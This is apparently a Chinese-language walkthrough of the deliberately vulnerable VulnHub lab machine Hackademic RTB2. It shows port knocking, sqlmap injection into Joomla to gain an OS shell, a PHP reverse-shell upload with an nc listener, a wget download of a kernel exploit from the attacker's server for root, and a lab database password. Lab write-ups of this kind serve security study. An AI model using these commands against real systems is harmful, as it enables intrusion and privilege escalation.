vulnhub靶机渗透[Hackademic-RTB2]
名称:Hackademic:RTB2
发布日期:2011年9月6日
下载
- Download (Mirror): https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip
- Download (Torrent): https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip.torrent
描述:
这是mr.pr0n提出的第二个现实黑客攻击挑战
下载目标并获得root。
毕竟,尝试读取根目录中文件“ key.txt”的内容。
请享用!
漏洞:
- 纯文本密码
- 特权提升
- SQL注入
- 不受限制地上传危险类型的文件
信息收集
老规矩上nmap
1 | root@kali:~# nmap -sn -v 192.168.84.0/24 |
经过尝试发现80端口没有什么好东西,666端口被过滤,源代码中没有任何内容,可疑标头,登录中没有sql注入。 我在目标上运行了OpenVAS,Dirbuster和Nikto,但是除了Phpmyadmin界面外,什么都没有发现,无论执行什么操作,该界面始终使我“无法连接到MySQL服务器”错误。 我以为Web服务器可能是一个错误的前端,而这可能是机器上隐藏的其他东西,所以接下来我运行了UDP扫描,它显示了一个附加端口:
1 | root@kali:~# nmap -sU -F -n -T4 -v 192.168.84.142 |
在http://192.168.84.143/登陆页面输入‘ or 1=1–’ /// ‘ or 1=1–’发现返回了一个页面其中有Ok, nice shot…
…but, you are looking in a wrong place bro! ;-),直接右键查看源代码,发现异常字符串
1 | %33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%20%30%64%20%30%61%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%32%30%20%34%62%20%36%65%20%36%66%20%36%33%20%36%62%20%36%39%20%36%65%20%32%37%20%32%30%20%36%66%20%36%65%20%32%30%20%36%38%20%36%35%20%36%31%20%37%36%20%36%35%20%36%65%20%32%37%20%37%33%20%32%30%20%36%34%20%36%66%20%36%66%20%37%32%20%32%30%20%32%65%20%32%65%20%32%30%20%33%61%20%32%39%20%30%64%20%30%61%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%31%20%33%30%20%33%31%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%30%20%32%30%20%33%30%20%33%30%20%33%31%20%33%31%20%33%30%20%33%30%20%33%30%20%33%31%20%30%64%20%30%61%20%33%63%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%32%64%20%33%65%0A |
先url解码
1 | 3c 2d 2d 2d 2d 2d 2d 2d 2d 2d 3e 0d 0a 4b 6e 6f 63 6b 20 4b 6e 6f 63 6b 20 4b 6e 6f 63 6b 69 6e 27 20 6f 6e 20 68 65 61 76 65 6e 27 73 20 64 6f 6f 72 20 2e 2e 20 3a 29 0d 0a 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 31 20 30 30 31 31 31 30 31 30 20 30 30 31 31 30 30 30 31 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 30 20 30 30 31 31 30 30 30 31 0d 0a 3c 2d 2d 2d 2d 2d 2d 2d 2d 2d 3e |
再hex解码
1 | < - - - - - - - - - > |
再二进制解码,SNEAK: Snarkles.Net Encryption Assortment Kit - Version 1.28,得到
1 | 1001:1101:1011:1001 |
看来是做了端口碰撞措施,端口碰撞的主要目的是通过进行端口扫描来防止攻击者扫描系统以寻找可能被利用的服务,因为除非攻击者发送正确的碰撞顺序,否则受保护的端口将显得关闭。编写下列bash脚本打开666端口
1 |
|
运行脚本,稍等片刻端口即可打开
1 | root@kali:~# ./knock.sh |
进一步的版本扫描表明这是多播DNS协议。找不到任何可利用的东西。再次使用详细标志和–packet-trace选项运行Nmap,这一次它返回了一个新端口:
1 | nmap -A -v -sS -Pn -T4 --packet-trace 192.168.84.142 |
一定是以前报告为已过滤的端口。 版本扫描显示这实际上是另一台Web服务器!nmap牛逼!!!firefox访问666端口
可以看到是joomla 1.5 templates版本的。
使用自己的方法getshell
点击下图所示的位置,burp抓包保存为sqlmap.txt,然后sqlmap -r跑此包,发现是dba权限的注入能–os-shell,多年前的老靶机果真是够垃圾,我主要是用来学习各种漏洞知识点,以便于实战碰到的话,能够迅速联想到是什么漏洞并且成功利用。
1 | root@kali:~# sqlmap -r sqlmap.txt --is-dba |
下面使用–os-shell执行成功后sqlmap生成的上传payload上传kali中的php反弹木马来反弹shell,php反弹木马中修改端口和ip的操作不用我多说
ls查看成功上传的木马,并且浏览器访问,kali端 nc -lvp 5566 监听返回了shell
1 | os-shell> ls |
1 | root@kali:~# nc -lvp 5566 |
提权
Hackademic-RTB2靶机所用的提权exp和Hackademic-RTB1靶机所用的一模一样,下载地址:
然后在kali中存在exp的目录下运行python一行代码在局域网中分享下载文件。
1 | root@kali:~# python -m SimpleHTTPServer |
然后在shell中执行命令下载该exp
1 | $ wget http://192.168.84.135:8000/15285.c |
编译并运行exp进行提权
1 | $ gcc 15285.c -o 15285 |
That’s so great!!!Excellent!!!然后到root文件夹下找到key.txt
1 | # cd /root |
成功读取该文件,将内容复制后,尝试base64解密,,发现是png的文件头如下图:
使用python脚本将该base64字符串转换为png图片,脚本如下:
1 | import os,base64 |
python3运行即可得到图片,原图如下:
还可以使用在线工具直接将base64字符串转成图片:
Convert Your Base64 to Image
登陆密码即在图片中,挑战完成,帅!!!
其它方法
- 使用joomscan扫描可以发现存在非常多的漏洞,远程代码执行,sql注入等等,下载对应的poc或者脚本运行即可
1 | root@kali:~# joomscan -u http://192.168.84.143:666/ |
- 使用sqlmap查看配置文件中的phpmyadmin的用户名和密码,然后利用phpmyadmin写木马
1 | os-shell> cat configuration.php |
账号密码为:root/yUtJklM97W
具体参考:phpmyadmin getshell
- 使用msf中的auxiliary/scanner/http/joomla_plugins模块扫描
1 | root@kali:~# msfdb run |
发现存在注入漏洞,接下来sqlmap一波就行。
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…
The end,to be continue…